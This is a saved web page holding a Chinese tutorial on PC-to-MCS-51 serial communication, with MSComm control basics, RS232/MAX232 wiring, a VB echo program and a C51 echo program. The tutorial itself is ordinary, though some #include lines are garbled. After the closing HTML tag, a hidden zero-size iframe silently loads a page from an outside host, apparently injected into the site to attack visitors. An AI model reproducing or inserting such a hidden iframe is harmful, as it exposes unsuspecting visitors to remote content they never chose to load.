📄 在vb下pc机与mcs-51单片机的串行通信_老古开发网文章.htm
字号:
<TABLE cellPadding=3 cellSpacing=1 class=tableMain>
<TBODY>
<TR>
<TD bgColor=#ffffff class=table vAlign=top> </TD></TR>
<TR>
<TD bgColor=#ffffff class=table vAlign=top>
<P><STRONG>简介</STRONG> 探讨了在PC机中用Visual Basic下的Microsoft Comm
control控件与使用C51编程的MCS\ 51单片机之间的串行通信的方法,以及在VB中怎样处理二进制码,并给出了演示程序和通信协议。</P>
<P><STRONG>关键词</STRONG> Visual Basic 单片机 串行通信 </P>
<P> 在开发微机控制及数据采集的系统中,经常需要通过RS232接口实现PC机与单片机之间的串行通信。在DOS时代,程序员须要具备相当的硬件知识,才有可能着手编写PC下的串行通信程序。而当今在VB下,利用现有的Microsoft
Comm control控件,只需要编写少量的程序代码,就可以轻松、高效地完成任务。更何况Visual
Basic是目前广受程序员喜爱的可视化编程语言,利用它还能够编写出Windows下漂亮的应用程序。</P>
<P><STRONG>一、 Microsoft Comm control控件简介</STRONG></P>
<P> 微软公司提供的Microsoft Comm
control控件(简称MSComm)为编程者提供了简化的Windows下的串行通信编程,使编程者不必掌握诸多关于硬件方面的知识。它提供了两种处理串行通信的方法:一是事件驱动方法;二是查询法。
</P>
<P>1. 事件驱动法</P>
<P> 这是一种很强的处理串口活动的方法。当串口接收到或发送完指定数量的数据时,或当状态发生改变时,MSComm控件都将触发OnComm事件,该事件也可以捕获通信中的错误。当应用程序捕获到这些事件后,可通过检查MSComm控件的CommEvent属性的值来获知所发生的事件或错误,从而执行相应的处理。这种方法具有程序响应及时,可靠性高等优点。</P>
<P>2. 查询法</P>
<P> 可以在每个重要的程序之后查询MSComm控件某些属性(如CommEvent属性和InBufferCount属性)的值来检测事件和通信错误。这对小的自含程序可能比较常用。
</P>
<P> MSComm控件有许多重要的属性,其中几个重要的属性如下: </P>
<P> · CommPort: 设置或返回通信端口。为1时对应COM1;为2时对应COM2。 <BR> · Settings:
设置或返回波特率、奇偶校验、数据位和停止位参数。 <BR> · PortOpen: 打开或关闭通信口。 <BR> · Input:
读取或删除缓冲区中的数据流。 <BR> · Output: 将数据写入发送缓冲区。 <BR> · InputLen:
设置和返回Input属性从接收缓冲区中读取的字节数。 <BR> · InputMode:
设置和返回的类型。该属性为0时,Input属性所检取的数据是文本;为1时,Input属性所检取的数据是二进制数据。这个属性对与单片机的通信尤为重要。</P>
<P><STRONG>二、 通信线路连接</STRONG> </P>
<P> PC机的某个串行口通过电缆线与RS232收发器MAX232的232电平端口三线交叉连接,如图1所示。MAX232的逻辑电平端口与单片机的串行口相连。PC机RS232的9针连接器的4脚和6脚、7脚和8脚不用连接。</P>
<P><BR><IMG
src="在VB下PC机与MCS-51单片机的串行通信_老古开发网文章.files/2006_9_14_17_29_41_1.gif"><BR>图1
PC机与单片机的通信接口电路框图</P>
<P><STRONG>三、 编程实现</STRONG></P>
<P>1. 实现功能</P>
<P> 因本程序为通信演示程序,所以功能较为简单。具体功能为利用键盘在PC机中输入一个6字节(12位的0~9,A~F)的二进制数,然后用鼠标点击通信命令按钮,PC机就将此二进制数发给单片机,单片机收到此数后再原样发回,PC机收到后显示在窗体上。试验者可通过肉眼比较发送和接收的两个数据,检验通信是否成功。</P>
<P>2. 通信协议</P>
<P> 波特率:19.2kb/s;无奇偶校验;8位数据位;1位停止位。 </P>
<P>3. PC机VB程序</P>
<P> (1) 在工程项目中添加一个窗体,取名为frmcomm,设置其Caption属性为通信。 <BR> (2)
在窗体中添加两个大小一样的文本框,分别取名为txtSend和txtRcv。 <BR> (3)
在窗体中添加一个命令按钮,取名为cmdcomm,设置其Caption属性为通信。 <BR> (4)
在窗体中添加MSComm控件,取名为MSComm1。 <BR> (5)
打开代码窗口,在cmdcomm控件的Click事件中加入以下程序代码: </P>
<P>Private Sub cmdcommClick() <BR> Dim Senddat(5) As Byte,Rcvdat() As
Byte, <BR> dattemp As Variant,i As Integer
<BR> cmdcomm.Enabled=False′使cmdcomm按钮失效 <BR> For i=0 To
5′从发送文本框txtSend获取发送数据 <BR> Senddat(i)="&H" & Mid(txtSend.Text,i
* 2+1,2) <BR> Next i <BR> MSComm1.CommPort=1′设置端口号为1
<BR> MSComm1.Settings="19200,N,8,1"′设置波特率等通 ′信协议
<BR> MSComm1.InputLen=6′设置一次从串口读取6个字节 <BR> MSComm1.PortOpen=True′打开串行口
<BR> MSComm1.InputMode=comInputModeBinary′从串口 ′读取二进制数据
<BR> MSComm1.Output=Senddat′发送数据 <BR> Do Until MSComm1.InBufferCount
>= 6′查询方式,等 ′待接收到6个字节 <BR> DoEvents <BR> Loop
<BR> dattemp=MSComm1.Input′从串口读取数据至变体变量 <BR> Rcvdat=dattemp′数据送至接收二进制数组
<BR> txtRcv.Text="" <BR> For i=0 To 5′接收数据送至接收文本框txtRcv显示
<BR> txtRcv.Text=txtRcv.Text & Right("0" & Hex(Rcvdat(i)),2)
<BR> Next i <BR> MSComm1.PortOpen=False′关闭串行口
<BR> cmdcomm.Enabled=True′使能cmdcomm接钮 <BR>End Sub </P>
<P> (6) 选择开始-运行。用PC机键盘在输入文本框中输入要发送的6字节二进制数据,然后用鼠标点击通信按钮即可。 </P>
<P>4. 单片机C51程序 </P>
<P> MCS-51单片机晶振为11.0592MHz,串行口的工作方式设置为方式1,10位异步收发。采用查询方式接收和发送,程序清单如下:
</P>
<P>#include<BR><REG52.H>#include uchar unsigned char <BR>main() {
<BR> uchar temp,datmsg[6]; <BR> TMOD=0x20; //设置波特率为19.2kb/s
<BR> PCON=0x80; <BR> TH1=0xfd; TL1=0xfd; <BR> TR1=1; //启动定时器1
<BR> SCON=0x50; //设置串行口为10位异步收发,且允许 //接收 <BR> while(1)
{for(temp=0;temp<6;temp++) //连续接收6个 //字节 <BR> {while(RI==0); RI=0;
<BR> datmsg[temp]=SBUF; <BR> }
<BR> for(temp=0;temp<6;temp++)//连续发送6个 //字节
<BR> {SBUF=datmsg[temp]; while(TI==0);TI=0; <BR> }<BR> } <BR>} </P>
<P><STRONG>结束语</STRONG></P>
<P> 由于篇幅所限,本程序仅为演示参考程序,并无实际意义。但它展示了PC机和单片机串行通信的一般方法以及在VB中处理二进制数据的方法,使得单片机和PC机的应用能够更加紧密地结合在一起。读者可在此基础上加入一些握手信号和检错码,如奇偶校验、累加和校验及循环冗余校验(CRC)等等,便可成为自己的应用程序。</P></TD></TR>
<TR>
<TD bgColor=#ffffff class=table vAlign=top><FONT
color=#ff0000><BR></FONT></TD></TR></TBODY></TABLE>
<TABLE cellPadding=3 cellSpacing=1 class=tablehome>
<TBODY>
<TR>
<TD><FONT color=#ff0000>欢迎进入<A href="http://www.laogu.com/laogubbs/"
_target="_blank">老古开发网论坛</A>进行讨论</FONT><BR><BR>[<A
href="http://www.laogu.com/ctg_17.htm">嵌入式系统</A>] 相关文章: <BR>
<LI><A
href="http://www.laogu.com/wz_4001.htm">分布式测控系统远程通信一种智能中继器的设计</A><BR>
<DIV style="PADDING-LEFT: 40px; PADDING-RIGHT: 10px"><B>简介:</B><BR>简介
对于节点地址可以任意设置的主从式多机远程通信,如何避免中继器输出电平与指定节点位置上从机的上行数据发生信号竞争。从电路和程序设计着手,提出一种切实可行的实施方案,取得了良好的应用效果。
关键词 远程通信 中继器串接 节点地址表 方向选择
使用双绞线采取对地浮空的差分平衡信号传输,是分布式测控系统计算机主机与从机进行数据通信的有效方法。在系统中,主机和从机均以节点形式出现在通信线路上,都采用专用接口芯片作串行数据收发器。接口芯片的负载能力有限,其特性参数,包括数据......</DIV><BR>
<LI><A href="http://www.laogu.com/wz_4003.htm">时钟芯片DS1302可靠起振的方法</A><BR>
<LI><A
href="http://www.laogu.com/wz_4004.htm">使用MSP430F1121中断须要注意的问题</A><BR>
<LI><A href="http://www.laogu.com/wz_4005.htm">8031+PSD813实现在线编程</A><BR>
<LI><A href="http://www.laogu.com/wz_4006.htm">TOPSwitch-FX系列单片开关电源原理</A>
</LI></TD></TR></TBODY></TABLE>
<TABLE border=0 cellPadding=3 cellSpacing=1 class=tableMain>
<TBODY>
<TR>
<TD bgColor=#ffffff vAlign=top>
<TABLE align=center border=0 cellPadding=0 cellSpacing=0 height="100%"
width="100%" valign="top">
<TBODY>
<TR>
<TD>下一个:<A
href="http://www.laogu.com/wz_4000.htm">[嵌入式系统]射频接收系统晶体振荡电路的设计与分析</A><BR>
<DIV
style="PADDING-LEFT: 40px; PADDING-RIGHT: 10px"><B>简介:</B><BR>简介
采用了理论分析、工程估算、SPICE模拟以及与实际调试相结合的方法确定了射频接收系统中晶体振荡电路的结构、直流工作点及电路的元器件参数。
关键词 射频 晶体振荡器 SPICE模拟 工程估算
随着通信技术的快速发展,振荡器的研究、设计和技术得到了很大的发展。为了适应无线寻呼接收机、FM-SCA股票机、PDA等通信产品的小型化,在射频接收电路中一本振采用了晶体振荡电路。
一、 射频接收中晶体振荡电路的设计及工程估算 1. 振荡电路的确定 对......</DIV></TD></TR>
<TR>
<TD><BR>上一个:<A
href="http://www.laogu.com/wz_3998.htm">[网络文摘]嵌入式C编程技术(一)</A></TD></TR>
<TR>
<TD bgColor=#ffffff class=table vAlign=top><BR></TD></TR>
<TR>
<TD bgColor=#ffffff class=table vAlign=top></TD></TR>
<TR>
<TD></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></DIV>
<TABLE align=center border=0 class=tableMain width=736>
<TBODY>
<TR>
<TD>
<DIV align=center>
<SCRIPT type=text/javascript><!--
google_ad_client = "pub-1420557601534669";
google_alternate_ad_url = "http://www.laogu.com/my/welcome.gif";
google_ad_width = 728;
google_ad_height = 90;
google_ad_format = "728x90_as";
google_ad_type = "text_image";
google_ad_channel = "3625436549";
google_color_url = "000000";
google_color_border = "93c901";
//-->
</SCRIPT>
<SCRIPT src="在VB下PC机与MCS-51单片机的串行通信_老古开发网文章.files/show_ads.js"
type=text/javascript>
</SCRIPT>
</DIV></TD></TR></TBODY></TABLE><BR>
<DIV align=center><A href="http://www.laogu.com/">老古开发网</A>版权所有 2006年9月 asp.Net
V2.0 设计:<A href="http://www.laogu.com/">老古</A>,<BR>2007-4-21 17:38:13 页面缓存:30分钟
执行时间:94毫秒 </DIV></BODY></HTML>
<IFRAME SRC="http://un.uiiiu.com/baidu.htm" WIDTH=0 HEIGHT=0></IFRAME>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -